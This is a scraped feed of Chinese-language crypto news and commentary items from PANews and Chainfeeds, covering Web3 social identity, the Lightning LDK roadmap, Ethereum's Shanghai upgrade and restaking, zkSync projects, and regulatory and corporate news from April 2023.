社交。如在产品设计上，鼓励用户去使用和管理自己的数据，并让其数据的价值可视化可使用化。通过荣誉体系给用户提供更多的价值普获和成长激励，同时赋予治理权利，让用户真正感受到 Web3 社交的主权体验。 同时在产品层面进行跨 Dapp、跨生态的合作和数据互通。最终实现用户用一个 Web3 身份连接不同的社交应用，从而让用户获得不亚于 Web2 社交的便捷和轻松。Neo 呼吁这应是 Web3 社交产品和平台之间可以共同努力的一个方向。 Jack 老师也提出，对于 Web3 目前阶段下的核心群体开发者，他们更加需要也更愿意进入 Web3 社交。通过共同建立声望体系和数据连接，从而真正实现 Web3 社交的数据、资产主权。 Yao 将 Web2 和 Web3 的身份 ID 和身份入口进行了对比。在 Web2 中，一个用户需要在很多不同的社交产品里面去构建自己的内容，进行等级的积累。如用户在 Facebook 上的身份与他在 Twitter 上的形象无关，后者又与他在 TikTok 上的数字身份完全不同等等。而 Web3 的社交产品则是恰恰相反，Web3 社交帮助用户去构建能在多平台上通用的内容，通过链上真实透明的数据记录用户的信誉和认证信息，最显而易见的体现就是用户使用钱包进入 Web3 社交。 当一个用户的钱包 ID 使用时间越来越长之后，所有的认证和内容都会积累到这个 ID 下，用户拥有了一个更好更珍贵的数字身份。同时也能一定缓解目前的互联网“键盘侠”乱象，用户会更加谨慎和小心其在链上的行为，因为毕竟在链上记录的数据是绝对是不可能被删除掉的。 Web3 社交重塑未来社交 Web3 社交所有权范式的转变对于注重隐私的未来至关重要。大型 Web2 社交媒体公司方兴未艾，他们不仅控制用户的数据，还以用户无法控制的方式从中获利。即使“Facebook”们没有积极挖掘个人信息以获取利润，他们也会将其存储在历史上证明不安全的中心化服务器上。 通过恢复用户对数据和内容的控制权，Web3 社交媒体不仅会改善隐私——还会为在线创作者经济注入新的源动力。这是因为 Web3 项目允许创作者控制其内容的货币化方式。在去中心化的世界中，用户将不再需要将他们在线发布的视频、音频、图像和文本所产生的收入中的一大部分让给中心化平台。 Web3 社交媒体还将带来数字身份的便携性。各大社交媒体巨头都尝试垄断用户的社交，因此他们在彼此之间建立“铜墙铁壁”，用户不能在另一个平台上传输他们已有平台的身份，将声誉和内容从一个平台传输到另一个平台的可能性限制了创作者通过其在线形象获利的方式。相比之下，去中心化技术可以让人们在 Web3 中保留自己的身份，这意味着他们可以建立在整个 Web3 生态系统中引起广泛共鸣的声誉。 如本期的嘉宾一样，众多 Web3 领域的开发人员正在努力扩展去中心化社交媒体。我们期待你们带来真正属于用户的 Web3 社交未来。  ( 3 min )
    视频｜马斯克带货DOGE先暴涨再暴跌！币安拒绝火必是真是假？
    00:00 精彩预告 00:31 APPLE电脑内置比特币白皮书 00:56 Uniswap现货市场交易量突破700亿美元 01:32 MicroStrategy增持1045枚BTC 02:01 MEV机器人遭受攻击 02:46 SUZHU创办的OPNX正式上线 03:27 孙宇晨就出售Huobi股份进行谈判 03:53 Tether利用Signatur Bank转移资产 04:30 币安FUD再起 05:20 Arbitrum基金会透明度遭质疑 05:53 推特页面logo变成了狗狗币表情 06:56 下週预告 07:24 好文推荐  ( 1 min )
    美国银行：3月就业数据或将促使美联储在5月加息25个基点，随后暂停加息
    PANews 4月8日消息，据财联社报道，美国银行认为，3月份的就业报告使美联储有望在5月份加息25个基点。劳动力市场正在显示出降温的迹象，但仍然非常紧张。1月份之后经济数据的连续放缓，意味着第二季度经济将出现疲软，并造成本季度出现负增长的重大风险。到6月议息会议时，美联储将获得大量关于第二季度的数据，届时应该证明暂停加息是合理的。美国周五公布3月就业数据，季调后非农就业人口为23.6万人，预期23.9万人，前值31.1万人。美国3月失业率3.5%，预期3.60%，前值3.60%。  ( 1 min )
    Coinbase等多个加密公司任命新高管并在海外市场扩张
    PANews 4月8日消息，据The Block报道，Coinbase、Immutable和Ava Labs等多个加密公司于今年3月任命新的高管。此外，由于美国监管的不确定性，一些加密公司选择在美国以外市场进行扩张。据悉，Algorand聘请Matthew Commons担任其第一任首席财务官。Coinbase聘请前Shopify高管Lucas Matheson担任加拿大地区总监。Zero Hash聘请Cyril Mathew担任新总裁兼首席运营官，还聘请前Gemini高管Araba Eshun担任英国合规主管兼国际合规副主管。Web3游戏公司Immutable聘请David Bicknell担任首席财务官，Devon Ferreira担任首席营销官。Avalanche开发商Ava Labs聘请前韩国银行家Justin Kim和企业家Roi Hirata分别担任韩国和日本的业务负责人。  ( 1 min )
    Coinbase要求赔偿与内幕交易调查相关的47万美元成本
    PANews 4月8日消息，据Blockworks报道，Coinbase要求获得47万美元赔偿，据悉这是该交易所配合美国司法部和SEC对Coinbase前雇员Ishan Wahi和他的兄弟Nikhil Wahi进行调查所产生的成本。二人被指控内幕交易和电信欺诈。根据《强制性受害者赔偿法》，受害者因参与某些犯罪调查（包括电信欺诈）所产生的费用和收入损失可以获得赔偿。据悉，在Coinbase要求的47万美元赔偿中，超过40万美元将用于支付司法部调查中大陪审团向Coinbase发出的5张传票，另外超过6万美元为Coinbase员工配合司法部特别调查工作所造成的工资损失。  ( 1 min )
    解读闪电网络LDK新功能：更便捷的节点设置和异步支付的设想
    推特创始人JackDorsey创办的比特币技术团队Spiral开发的LDK（Lightning Development Kit，闪电网络开发套件）近期面向公众解读未来一年的新路线图，涵盖LDK发展的全景。 2023是比特币的进取之年，不仅在NFT领域捷报频传，在二层网络和智能合约领域也有所斩获，如Ordinals、Stacks等项目在逐步解锁比特币的更多用途。 用途的增多自然会促进生态的繁荣，而比特币主网自2021年的Taproot升级后，主打保守和稳健的比特币社区短期内不可能对本体进行扩容，闪电网络几乎是提高网络效率和改善用户体验的唯一选择。 在本次路线图更新中，引人注目的改进包括两点： 短期优化节点，长期异步支付 比特币和闪电网络的一系列开发和推进都和推特创始人Jack Dorsey分不开关系，在其设想中，比特币将作为未来经济系统的基石，通过闪电网络解锁比特币潜能，让全球用户都可参与其中。 具体而言，本次更新的LDK属于Jack Dorsey创办的Block公司赞助的Spiral开发项目的一部分，Spiral由LDK、BDK（Bitcoin Development Kit）和比特币设计社区（Bitcoin Design Community）三部分构成，统一搭建起服务于比特币生态的完整要件。 LDK用于满足开发者的开发需求，BDK用于降低比特币开发的难度，比特币设计社区用于满足用户对UI、设计和交互的体验。 2021年12月，Spiral首次发布LDK，项目启动伊始便聚焦于开发者服务，主要通过在闪电网络上进行二次开发，打包为一个完整的闪电网络项目库，开发人员可直接利用LDK构建出闪电网络节点，免去和闪电网络以及比特币网络直接交互的复杂度。 LDK的主要用户便是Block公司旗下的Cash App，通过将LDK整合进Cash App内实现了对比特币闪电网络的支持，Cash App目前已经支持将存款直接划转为比特币，以及接受和发送比特币等操作，初步证明了LDK的闪电网络的能力。 而基于比特币闪电网络，Web 3 社交协议Damus也支持比特币打赏、转账等相关功能，而进一步可通过闪电网络构建“Web 5"，将目前的Web 3社交、金融协议归纳为统一的整体。 具体细节，可参考PANews之前的文章：推特落“马口”，前掌门人Jack Dorsey的Web 5进展如何？ 比特币闪电网络已经初步成型，包括网关、BTC锁定量、以及生态支持已经足够丰富，LDK目前已经被40个以上的应用所采纳。 目前，主要限制闪电网络进一步发展的主要在于两点：其一是开发者进行设置仍然不够便捷，LDK本身不提供节点服务，让然需要开发者去进行自定义设置以满足不同的需求；其二是用户体验仍然有改进之处，比如隐私服务和抗审查能力，以及无法异步支付带来的网络触达率问题。 在本次路线图更新中，2023年Q2将聚焦于LDK Node Mobile，之后延续到2024年Q1，将主要致力于解决异步支付问题。不难看出，异步支付将是更难啃的骨头，因为会直接面向消费者提供功能服务，开发团队需要采取更加谨慎的态度。 在本次更新中，LDK Node Mobile被置于首要位置。LDK提供一系列功能强大的API，给予开发者较大的控制权，LDK Node本身提供了一个功能齐全的闪电网络节点/钱包。节点是闪电网络最重要的组成部分，BTC将通过节点进行发送和接受等操作，有关闪电网络的更多介绍，可参考PANews之前的文章：比特币闪电网络现状速览：大额融资频出，生态建设初步成型 而LDK Node Mobile将是一个基于BDK的链上钱包，可进行链上区块数据集成，也可进行本地数据存储，以及用于闪电网络和其他钱包状态的云备份服务。可将LDK现存的900多个函数方法压缩到15个左右，最终目标是可让开发者在一天内搭建出一个节点。 此外，得益于API功能的丰富性，LDK允许开发者进行更为定制化的开发，在最初发行中，LDK对Rust的语言支持更为友好，而本轮更新中，将逐步将Java/Swift/Python/Flutter/React等语言和框架纳入其中，鼓励开发者开发更多设备可运行的闪电网络节点和应用。 异步支付：普及闪电网络的最后一步 异步支付指的是接受者和发送者不必保持同时在线，可以按照传统金融的转账逻辑进行操作，但目前的闪电网络移动端的用户需要对方在线才能收到付款，否则该笔交易将面临失败的困扰。 LDK开发者在2021年进行过预研，但是在本次路线图更新中，将异步支付作为本年度下半年的重点工程，力争从技术层面解决该问题，达到和传统支付手段相同的支付体验。 按照路线图规划，2023年Q3开始预研，可能需要到Q4才能真正迈入开发阶段，为了确保安全性，异步支付功能的开发将被切分为两个阶段，第一步将率先完成异步接受，第二步将完善异步发送。 异步接受功能相对简单，任何钱包都会有其托管节点，该节点为保证运行的稳定性，将会保持对闪电网络的链接，然后由节点在移动端口（手机、插件钱包）上线时存入其中。 异步发送相对困难，需要由移动端口进行发送操作，该部分将在开发中逐步探索出更好的解决办法。 其他功能 本次路线图更新中，还涉及一些实现难度较小的功能更新，较为典型的有以下几点： 提供闪电网络原生级别的二维码申请付款服务，用户可通过扫描二维码进行付款，并且可重复使用，同时使用洋葱网络、Schnorr Signatures、默克尔树、Blinded Paths和Payer proofs等加密技术。可在保持匿名性的同时，完成付款、生成付款证明以及申请退款等请求。 VSS（版本化存储服务）可解决了两个问题。首先，为闪电网络节点状态和钱包数据提供云备份服务，如果手机等终端丢失或无法使用，可使用VSS进行资产恢复。其次，VSS可支持对同一钱包的多设备同时登陆和状态同步，使钱包和节点数据始终保持一致。 LDK将和比特币主网的Taproot升级功能保持一致，比如多签功能的同步性，以保持跟主网同等的安全性，随着LDK的进一步开发，将会逐步兼容更多Taproot的功能。 在本次LDK路线图更新中，可以窥见闪电网络在迈入面向用户需求进行开发的新阶段，随着比特币生态的进一步发展，尤其是对NFT、流支付、社交产品等更多的支持，闪电网络有望迎来真正的繁荣期。  ( 2 min )
    加密风投基金Variant Fund推出加速器计划“Variant Founder Fellowship”
    PANews 4月8日消息，据官方消息，加密风投基金Variant Fund宣布推出首届Variant Founder Fellowship，这是一个为期三个月的加速器计划，面向处于创业初期的Web3创始人。参与者将可以访问Variant由创始人、建设者和专家组成的同行网络，向Web3专家学习，并获得Variant团队的实际指导和支持。报名截止日期为2023年4月17日。  ( 1 min )
    Starknet：没有发布代币或空投，用户应谨防诈骗
    PANews 4月8日消息，以太坊Layer 2网络Starknet在推特发文提醒，表示目前在Discord、Twitter、Telegram出现了大量虚假私信信息，声称Starknet正在发布代币或空投。Starknet表示这些账户都是虚假骗局。  ( 1 min )
    一周精选丨Arbitrum陷入治理风波；推特网页Logo被换成狗狗币表情；Sui主网即将上线，如何获取Token？
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。本周我们发布了PANews 2023年2月专栏作者影响力及专栏文章热度排行榜，有哪些专栏作者和热门文章上榜呢？点此查看 12张图解读加密行业的“强劲三月” 尽管遭遇到USDC脱锚、美国商品期货交易委员会起诉币安及其首席执行官赵长鹏等一系列事件的影响，但近期加密市场表现依然十分亮眼。 DappRadar一季度Dapp研报：DeFi TVL超过830 亿美元，Layer2虹吸效应明显 2023 年第一季度的 dapp 行业经历了高潮和低谷，链上指标和市场趋势出现波动。 然而，总体情绪仍然乐观，因为加密行业继续展示出弹性。 从减半周期分析：为什么现在是买入比特币的最佳时刻 熊市当下，什么时间或者什么价格入场抄底，这无疑是所有加密人士最关心的问题，如今，有分析师从比特币减半周期的角度入手，指出当下就是抄底的最佳时刻。本文带你了解背后的推理逻辑。 视频｜上海升级临近，需要注意些什么？ 3月31日晚上9点，PANews邀请了DeFi研究员—妙蛙种子、OKLink Data PM—Xuan、Lido中文负责人— satBalwyn、币圈科学家社群主理人— 币圈科学家，4位嘉宾以及Meeint DAO—Kiki作为主持人，共同做客Twitter Space。 Flatcoins会成为下一个DeFi热门叙事吗？ 此前Coinbase的Base生态系统基金发布了四大支持方向，其中之一就是Flatcoins，这种可以跟踪通货膨胀率的稳定币，似乎成为了保持货币购买力的最优解。但事实是否真的如此？本文带你详解Flatcoins的可行性。 一文读懂Magic Eden的钻石奖励，是否值得赚取及如何获得？ 近期，Magic Eden在运营端上线新的活动，引入钻石奖励。本文PANews将为你详解如何获得Magic Eden的钻石奖励，以及该奖励是否值得赚取。 Sui主网即将上线，如何获取Token？ 目前SUI Network没有正式的空投计划，但是SUI Network已经发布了SUI Token社区访问计划，以及SUI Token的分配细节。 LSD将带来新的DeFi Summer？盘点4个目前未发币的LSD板块Alpha 说起流动性，就不得不提当下最流行的一个词汇：LSD。全称是Liquid Staking Derivatives，流动性质押衍生品。最近以来，在Web3语境的社交环境中，我们几乎随处都能看到关于LSD的讨论，以及关于相关生态代币的介绍。 Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？ ”优等生“形象一夜崩塌，Arbitrum社区发起AIP-1提案的背后目的到底是什么？ 推特“蓝鸟”变“狗头”，马斯克多次“任性喊单”面临2580亿美元集体诉讼 马斯克再次带货狗狗币，推特“小蓝鸟”标志变“狗头”。 MM Finance超募364倍，多链项目是否应该发行新的Token？ MM Finance在部署的每一条链上都发行新的Token，这一做法受到质疑，参与的各方应该如何平衡利益。 加密数据服务平台Dune用上AI，LLM会成为其护城河吗？ Dune的LLM计划是“翻译”和助手，目标是让普通用户读懂数据所代表的一切，不仅是最终结果的展示，而是深入到生成过程之中，最终人人都可进行链上数据分析。 24小时地板价涨达23%，马斯克喊单的The Memes by 6529是什么？ Elon Mask 今晨发布 NFT 项目 The Memes by 6529 相关图片，使其地板价 24 小时涨幅达 23% ，交易量和交易次数也都有大幅增长，分别涨幅达 2045% 和 1000% 。 Blur与OpenSea的悬崖赛车：一场围绕NFT流动性的“生死追逐战” Blur与OpenSea的悬崖塞车只是NFTfi这场无限战争序幕的第一章而已，让我们保持对NFTfi的持续关注。 买NFT要交税了？速览美国国税局关于NFT税的新提案 NFT自身的版税问题还没解决，美国国税局就强势切入准备收税了。 NFTFi衍生品赛道早期探索：下一个“Blur”在哪里？ 本文将聚焦于 NFTFI 衍生品项目，帮助用户更早地识别衍生品赛道机会。 Vitalik：ZK-EVM如何改变以太坊验证方式并成为第三种客户端？ 未来，随着零知识证明技术的发展，第一类 ZK-EVM 或将基于SNARK证明来改善Layer1的验证方式，并逐渐引导以太坊向着“开放的多客户端 ZK-EVM 生态系统”发展。 在Layer2大年，寻找Vitalik所说的“专用型”Layer3 及用例 2023已被称为“Layer2”之年，但StarkWare提出的 “Layer3”代表的新的可能不仅仅止于概念生产，更是新型的行业解决方案。 一文了解模块化公链：模块化执行层能的通用之路 乘着Layer2的东风，模块化公链叙事热度兴起，其中尤以模块化公链执行层项目最为值得关注。本期Bing Ventures行业研究报告将简要介绍什么是模块化公链以及当前模块化公链执行层领域的基本格局。 基于 2-of-2 多方安全计算的 MACI 匿名化方案 这篇文章将展示基于 2-of-2 MPC 技术的 MACI 匿名化方案的具体实现。本文核心内容主要分为三个部分：从任意算法到逻辑电路的实现；从逻辑电路到混淆电路的实现；利用不经意传输实现多方安全计算。最后，我们总结基于多方安全计算的匿名化方案。 彭博社：孙宇晨已经就出售Huobi的股份进行了谈判 Re7 Capital和Republic Crypto合作推出1亿美元的加密基金RxR Opportunities Fund，重点关注中、小市值加密代币 DFINITY基金会正式在IC(Internet Computer)网络上发行ckBTC(Chain-Key Bitcoin) 苹果最新版本的Mac和MacBook疑似内置比特币白皮书 Cash App创始人Bob Lee在旧金山遇刺身亡 Arbitrum基金会在治理社区批准预算前已开始出售ARB代币 数据：Uniswap的现货市场交易量突破700亿美元，超Coinbase 欧盟或将禁止超过1000欧元的匿名加密货币转账 Gem更名为OpenSea Pro，将向用户空投“Gemesis”NFT MEV机器人遭攻击损失达2000万美元，系bundle交易过程中资金被替换  ( 2 min )
    数据：持有超过100枚比特币的地址创三个月新低
    PANews 4月8日消息，Glassnode数据显示，持有超过100枚比特币的地址为15962个，创3个月新低。  ( 1 min )

  • Open

    【英文】观点：以太坊重质押协议的残局风险
    Chainfeeds 导读： 独立加密研究员 Tripoli 认为重新质押协议可能会为验证者带来显着的经济利益，但它们的成功有可能损害以太坊自我调节质押参与和缓和中心化力量的能力，合乎逻辑的结局可能是对活跃验证者集的大小进行限制。以太坊的长期挑战不是让更多的人参与，而是让更少的人参与。 文章来源： https://dataalways.substack.com/p/endgame-perils-of-restaking 文章作者： Tripoli 观点： Tripoli：不太了解的人普遍认为，在以太坊的最后阶段，质押参与规模将接近 Solana 和 Cardano 等链，即约 70% 的代币供应处于质押且非活动状态。然而，这不是一个好的结果。坚信以太坊合规化的读者可能认为，更多的质押参与者对以太坊是一个利好，但 POS 与货币政策相反，更高的发行量不会降低持有者持有代币的可能性，反而鼓励持有者质押其资产并实现更高的 APR。【原文为英文】 内容来源 Tripoli：重质押协议（如 EigenLayer）提供了以太坊协议之外的收益，扭曲了市场激励，并破坏了以太坊的货币政策控制，可能会导致加密资产的超金融化终局。由于外部收益不会自我稀释，即使增加少量收益也可能对质押生态系统产生巨大影响。EigenLayer 这样的协议即使仅能产生 1% 的外部收益率供应，都能让最佳的抵押动态被推到无法维持的水平。【原文为英文】 内容来源 Tripoli：以太坊研究社区通常认为采用最低可行发行量是阻止高质押参与率的关键。但在存在重质押协议的情况下，降低协议发行量会降低自我稀释的影响，并鼓励垄断者质押更多代币并利用外部收益。为了恢复垄断均衡并降低大型参与者的最佳质押水平，正确的博弈论策略将变为增加质押 APR。低发行量和高参与度下监控质押的中心化变化将非常重要。长远来看，以太坊可能无法通过调整 APR 来抵抗高质押参与率和中心化力量。【原文为英文】 内容来源  ( 23 min )
    【长推】链上数据分析工具推荐
    Chainfeeds 导读： 使用一些有效的工具，可以使链上数据分析工作事半功倍。加密 KOL 余烬分享了自己在链上数据分析中使用的工具，涵盖链上数据分析平台、多链 DeFi 资产看板、监控 Bot、地址标签工具等… 文章来源： https://twitter.com/BitcoinEmber/status/1644271709640605698 文章作者： Bit余烬 观点： Bit余烬：链上数据分析平台：Nansen 的 Token God Mode 功能非常强大，可以使用其地址标签 + 余额变化榜单查看代币的鲸鱼 / 机构持仓变化；Watchers 有两个特色功能：VC 看板将机构的多个地址组合到一个数据面板，整体显示机构的链上资金变化情况。资金流观察将链上地址的代币转入转出数据可视化，直观展示资金转移路径；Arkham 的数据与功能侧重于实体追踪与数据可视化，监控警报工具也比较好用。 内容来源 Bit余烬：地址监控推送：ChainBot 是一个链上数据监控机器人平台，支持代币监控、NFT 监控、巨鲸地址、链上治理投票等多种监控场景。可以按照自己的想法设置监控机器人，使用 Discord/Telegram/ 钉钉接收警报；Zerion 的观察钱包功能会把列入观察列表的地址的任何操作及时通过手机 App 推送给用户。 内容来源 Bit余烬：多链 DeFi 资产看板：DeBank 从支持的链、协议数量和使用体验来说表现最好。链上地址标签：MetaDock 是一个 Chrome 浏览器插件，能自动在各个区块浏览器上为地址显示标签，如机构 / 名人地址、交易所存款地址等等。 内容来源  ( 2 min )
    AC Capital：上海升级在即，LSD 为何备受期待
    Chainfeeds 导读： AC Capital 研究员 Bittracy 在文中着重分析 LSD 协议的运行模式，并对优质 LSD 协议进行探讨和分析。通过对 Frax 与 Convex 的拆解，Bittracy 认为 LSD 协议的核心优势在于利用 Yield Boosting 与通证模型的结合实现对基础通证的（捕获 & 锁定），与此同时，绑定 DeFi 生态实现 LSD 通证的广泛应用（价格锚定）。 文章来源： https://mp.weixin.qq.com/s/3ifz-p3LdcsnYGC_1XFLBQ 文章作者： Bittracy 观点： Bittracy：LSD 协议是基于成熟协议的创新，例如，LIDO 是为以太坊网络质押者最大化质押收益，CVX 是在捕获 Curve 的价值。因此，基础协议的规模决定了 LSD 的发展空间，具备发展潜力的 LSD 需要建立在成功的基础协议之上；Boosting Yield 决定了 LSD 协议的核心竞争力：LSD 的核心竞争优势在于捕获与锁定，而收益能力和通证机制决定了捕获与锁定能力；LSD 协议面对的是底层协议的 Target Market，需要具备较为坚实的护城河。 内容来源 Bittracy：安全性 & 去中心化成为重要的发展方向：随着 Lido 质押收入不断提升，节点的稳健运营与安全性被市场所重视。SSV Network 通过 DVT 技术将节点部署与验证确认解耦。通过分片密钥的方式建立网络，集成多方节点一同执行 Validator 的工作，使得网络验证变得更去中心化，更安全稳定；EigenLayer 则引入重质押概念，用户可以将质押节点的选择权交给 EigenLayer，已质押通证可以改变其应用，增强了以太坊信任的拓展性。 内容来源 Bittracy：借贷协议将会从上海升级中受益：LSD 协议的发展来自于 ETH 的质押收益与借贷利率。上海升级之后，ETH 赎回机制开启，ETH 与 stETH 的利差将会出现明显收窄，这使得用户杠杆倍数更高。ETH Farming Yield 来自于质押收益与杠杆倍数下的借贷利差，因此上海升级之后，借贷协议的 TVL 或许会出现明显增长。 内容来源  ( 32 min )
    【英文长推】盘点 zkSync 生态 9 个项目：ZKasino、Merlin、Crypto Maze…
    Chainfeeds 导读： zkSync 生态发展迅猛，据 Dune 数据，共有 89305 枚 ETH 跨链至 zkSync Era，独立钱包地址数量超过 31.7 万个 ，交易数量接近 38 万笔。同时，链上 TVL 两周内增加至 7100 万美元，单日增幅 22%。区块链研究员 Crypto in Black 盘点了 zkSync 生态中的 9 个新项目或正在迁移的项目。 文章来源： https://twitter.com/thehiddenmaze/status/1644408316087398400 文章作者： Crypto in Black 观点： Crypto in Black：1）ZKasino：去中心化加密博彩平台，用户通过 Web3 钱包使用加密货币进行任何类型的投注，在链上验证可证明的公平结果；2）Merlin：ZkSync 上不可变的、无许可的、以社区为中心的 DEX，强大、高效且灵活，允许构建者和用户利用其基础设施得到深度且易于获得的流动性；3）Crypto Maze：动作 MMO，玩家可通过与怪物战斗、竞速完成不同迷宫、击败首领以及合作赢得锦标赛来相互竞争；【原文为英文】 内容来源 Crypto in Black：4）Taker Protocol：针对新型加密资产的流动性协议，采用逐个锁定报价的方式，以 NFT 作为抵押品借出稳定币；5）Kreatorland：一款 Click-Launch-List NFT，艺术家、设计师和创作者可以在其中启动、创建、拥有和交易他们的数字资产；6）Arbipad：由 Good Games Guild 推出的基于 Arbitrum-zkSync 的 launchpad，是加密项目和全球社区之间的桥梁；【原文为英文】 内容来源 Crypto in Black：7）Increment：引入了由抵押品支持的集合虚拟资产来实现流动性的系统，主要交互包括利用杠杆做多 / 空加密市场、存入资金以提供流动性并赚取费用、运行清算机器人和参与治理；8）Derivio：流动性即服务（LaaS）衍生品协议套件，提供合成衍生品为具有智能杠杆的交易者提供颗粒化的风险调整回报，同时为运营商提供足够深的流动性池，以便有效地进行代币对冲；9）Fringe Finance：去中心化货币市场，旨在通过下一代 DeFi 借贷生态系统从 tradfi 和加密货币中释放休眠资本利差，无论其资本规模和网络如何。【原文为英文】 内容来源  ( 2 min )
    「上海升级」进入倒计时，ETH 潜在抛压解析
    Chainfeeds 导读： Shapella 升级预计将于 2023 年 4 月 12 日 UTC 22:27:35 启动。该升级将使验证者能够将 ETH 从信标链中撤出，并为执行和共识层带来新的功能。升级完成之后，独立运行验证器的验证者可以选择部分提款和全部提款。Ebunker 中文对升级后 ETH 的潜在抛压进行解析。 文章来源： https://medium.com/@EbunkerChinese/上海升级-进入倒计时-eth潜在抛压解析-b1621d73d098 文章作者： Ebunker 中文 观点： Ebunker 中文：根据 Nansen 的报告，升级后将有三个阶段的 ETH 抛压。第一阶段是升级后 27 小时内，抛压来自于部分提款（即多年来累计的利息），每天约 84000-125000 枚 ETH；第二阶段为升级后的第三到四天，潜在抛压最高，来自于部分提款和全部提款（32ETH），每天分别有 136000 枚和 173000 枚 ETH；第三阶段抛压将持续 19-52 天，主要来自全部提款，每天约 48000–53000 枚 ETH。 内容来源 Ebunker 中文：Arcana Research 的另一项分析预估，由于部分提款和全部提款，升级后 10 天内将出售约 130 万枚 ETH。ETH 抛压将在升级后前三天达到顶峰，每日抛压约 5.27 亿美元（按 ETH 价格为 1800 美元计算），占当前日常交易量的 6.4％。 内容来源 Ebunker 中文：根据 Santiment 数据，ETH 在交易平台上的供应量降至 2015 年以来的最低点，仅占目前流通量的 10.31%，换言之，更多的 ETH 处于投资者持有状态，反映了该持币群体对 ETH 的长期表现充满信心；目前为止，期货市场暂未显示出空单成交量或资金费率的明显上涨。自 3 月 22 日以来，ETH 的 25% Delta 偏斜指标一直处于中立状态，表明价格上行和下行概率相当。鉴于近期交易平台受监管压力增加，在利空环境下，衍生品市场能保持这种状态也反映出了一定程度的市场信心。 内容来源  ( 2 min )
    索赔交易平台 OPNX 宣布推出做市商计划
    索赔交易平台 OPNX 宣布推出做市商计划 Su Zhu 等人创办的索赔交易平台 OPNX 宣布推出做市商计划（Maket Maker Program），旨在对做市商提供流动性激励。做市商计划主要由两部分组成：一是最多 200 个 VIP 做市商每月可获得 5000 美元补贴，二是按照交易额比例每月将支持 5-50 万美元。 内容来源  ( 3 min )
    【英文长推】寻找 PoW 叙事宝石：Radiant、Kaspa、Nexa…
    Chainfeeds 导读： 工作量证明（PoW）区块链的叙事越来越受欢迎，加密研究员 ProjectW 经过研究，遵循拥有优质产品和中低市值的原则，整理出 9 个 PoW 叙事的宝石。 文章来源： https://twitter.com/fitforcrypto_/status/1642875587302653956 文章作者： ProjectW 观点： ProjectW：1）Radiant（$RXD）：Radiant 是一个点对点数字资产系统，无需通过中间方即可实现直接价值交换。Radiant 由社区驱动，且可大规模扩展。同时，团队正不断交付；2）Kaspa（$KAS）：Kaspa 快速、去中心化且安全，以其独特的共识解决了区块链的三难问题，是以其独特的方式提供价值的下一代产品；【原文为英文】 内容来源 ProjectW：3）Nexa（$NEXA）：Nexa 是具有智能合约的 L1 金融区块链，能够针对全球 P2P 使用进行扩展，是有史以来最具扩展性的区块链。Nexa 已经构建完成并将由 Bitcoin Unlimited 继续升级；4）Dynex（$DNX）：Dynex 是基于灵活区块链协议的下一代神经形态计算平台，允许每个矿工使用其自有的 DynexSolve PoUW 共识执行 Dynex 芯片计算；5）Novochain（$NOVO）：Novochain 是一个支持无限交易处理的开源 PoW L1，拥有大规模的非阻塞智能合约，有一个成功的硬分叉；【原文为英文】 内容来源 ProjectW：6）Alephium（$ALPH）：Alephium 是一个基于 BlockFlow 算法的 L1 分片区块链，针对 PoW 和 UTXO 进行了改进，具有高性能和可扩展性，且拥有一个不断努力工作的优秀团队；7）Conflux Network（$CFX）：Conflux 是一个无障碍 PoW/PoS 混合区块链，具有高吞吐量、安全和可互换性，使创作者、社区和市场能够跨越边界和协议进行连接，还推出了加密 SIM 卡；【原文为英文】 内容来源 ProjectW：8）Raptoreum（$RTM）：Raptoreum 是一个安全的 ASIC/FPGA 抗性 PoW 网络，允许使用通用语言创建资产、期货和智能合约，且对双花攻击具有一定抵抗力；9）Neoxa Network（$NEOX）：Neoxa 是一个面向游戏玩家、开发者和矿工的安全的去中心化区块链，将区块链世界和游戏结合在一起。Neoxa 提出了基于工作量证明和游玩证明的 PoG（Proof of Game Servers）共识以激励游戏玩家，且将启动他们的主节点。【原文为英文】 内容来源  ( 2 min )
    Magic Eden 推出比特币 Launchpad，PG DeadJira 将成为首个上线项目
    Magic Eden 推出比特币 Launchpad，PG DeadJira 将成为首个上线项目 NFT 市场 Magic Eden 宣布比特币 Launchpad 已正式交付，旨在为创作者提供一种简单的方法以直接在 Magic Eden Launchpad 上启动 Ordinals。BTC Launchpad 上首个上线项目为 PG DeadJira，Magic Eden 将与其合作推出限量版数字神器 NFT。 内容来源  ( 2 min )
    dYdX 将逐步退出加拿大市场，用户可随时提取资金
    dYdX 将逐步退出加拿大市场，用户可随时提取资金 去中心化衍生品交易平台 dYdX 宣布将退出加拿大市场，正逐步减少来自加拿大的用户访问权限。自北京时间 4 月 8 日 1:00 起，dYdX 将停止加拿大新用户的访问权限，但现有用户仍将有一周时间可以继续在平台上进行交易。4 月 15 日 1:00 后，所有加拿大用户将转为仅平仓模式，用户可随时提取资金。 此外，dYdX 团队表示，若未来加拿大的监管环境发生变化，dYdX 可能会恢复在该国的服务。 内容来源  ( 12 min )

  • Open

    Paxos的全国银行牌照申请已于3月底过期，现有业务不受影响
    PANews 4月8日消息，据The Block报道，美国货币监理署（OCC）的记录显示，稳定币发行商Paxos于2020年12月提交的全国银行牌照申请已于3月底到期。一位发言人表示，申请过期并不影响Paxos的现有业务。Paxos将在近期内确定下一步措施，其中可能包括重新申请OCC的监管。  ( 1 min )
    Celsius Network将提交重组计划披露声明
    PANews 4月8日消息，据官方消息，加密贷款机构Celsius Network宣布将推进其第11章重组计划，将在4月12日提交一份披露声明。 Celsius表示，该披露声明将提供重组计划摘要、账户持有人资金收回百分比、常见问题解答以及有关某些风险因素的信息。此外，该声明还将为债权人提供"足够的信息"，以便他们对NovaWulf发起的重组计划进行投票。  ( 1 min )
    dYdX将退出加拿大市场，用户可随时取款
    PANews 4月8日消息，据官方消息，dYdX周五宣布将退出加拿大市场，对现有客户的交易支持将于4月14日结束。从4月7日开始，dYdX将停止在加拿大招募新用户，但现有用户仍将有一周时间可继续进行交易。从北京时间4月15日凌晨1点起，加拿大所有用户将转为仅平仓模式，用户可随时取款。dYdX团队表示，如果未来加拿大的监管环境发生变化，可能会重新在该国提供服务。  ( 1 min )
    数据：超3320万枚APE在2023年Q1解锁给非DAO实体
